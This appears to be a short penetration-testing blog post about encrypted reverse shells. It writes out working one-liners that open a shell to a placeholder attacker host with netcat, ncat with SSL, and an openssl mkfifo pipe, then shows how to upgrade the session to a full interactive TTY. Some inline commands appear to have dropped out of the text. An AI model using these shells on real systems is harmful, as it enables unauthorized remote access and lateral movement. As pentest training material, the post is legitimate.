Reverse shell and some magic
From simple command injection to comfortable shell
As soon as a system with (remote) code execution is found in a pentest (or in a real attack), a shell is uploaded into the system, either to become an administrator with privilege escalation or to attack further systems via lateral movement. This is a very good starting point for the attacker, since the attacks can now take place “from the inside” instead of “from the outside”.
In many tutorials and unfortunately also in the productive environment, netcat (
nc ) is used to establish a connection between the attacker system and the target system. The attacker starts with
nc -lvp <PORT> a listener and spawns with
nc -e /bin/sh <ATTACKER-IP> <PORT> a shell on the target system. The problem is that this connection is unencrypted. All data that is transported via this reverse shell (passwords, keys, personal data, critical company internal information, etc.) are published more or less. This is not acceptable in the field of penetration testing.
The connection for the reverse shell should therefore be encrypted. Although encryption does not protect against an MITM attack, because most of the tools currently do not support certificate pinning, the risk is significantly lower than with an unencrypted connection.
As an alternative to
nc there is
ncat . The problem is, however, that ncat is not installed on every Linux just so. That is, It must often be loaded as static binary (GitHub, 3MB!). This is a bit tedious for a long time, but works the same way:
ncat --ssl -l <PORT>
ncat --ssl <ATTACKER-IP> <PORT> -c /bin/sh
As a penetration tester you have a goal: A comfortable as well as a safe shell. For example:
- Autocomplete with tabulator
- Command repeat via arrow keys
- Terminate commands with
- Modern crypto
So I looked for an alternative to
ncat and tried it with
Before the listener can be started, a key pair and a certificate must be generated.
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s
From sh to bash
SHELL=/bin/bash script -q /dev/null
Switch to the background with
Configure local shell:
stty raw -echo
Change to the foreground with
fg and reset the TTY with
Now it is a full-featured, interactive shell with encryption.
I based this article on the following sources, which contribute to deeper understanding.